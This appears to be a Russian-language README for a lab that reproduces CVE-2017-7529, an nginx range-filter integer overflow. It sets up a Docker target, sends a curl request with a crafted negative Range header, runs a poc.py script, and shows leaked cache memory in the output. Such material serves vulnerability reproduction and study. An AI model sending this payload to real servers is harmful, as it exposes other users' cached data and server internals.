
Nginx (версия 0.5.6 - 1.13.2) Удалённое целочисленное переполнение
Версии Nginx с 0.5.6 по 1.13.2 включительно подвержены уязвимости целочисленного переполнения в модуле фильтра диапазонов nginx, что приводит к утечке потенциально чувствительной информации при отправке специально сформированного запроса. Источник: https://nvd.nist.gov/vuln/detail/CVE-2017-7529
В других открытых источниках вы можете найти информацию, что эту уязвимость можно воспроизвести только с Apache2 и только с файлами изображений, но это не так. Эта уязвимость работает с любым приложением, которое проксируется через Nginx. Главное, чтобы сервер возвращал заголовок Accept-Ranges: bytes. Его можно добавить вручную в конфигурацию nginx: proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
Отправьте GET-запрос, чтобы получить Content-Length и сохранить ответ в кэше.
Повторно отправьте запрос с заголовком Range и диапазоном -n,-(0x8000000000000000-n).
$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
Или используйте скрипт poc.py.
$ python3 poc.py http://localhost:8000/ 513
Результат:
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20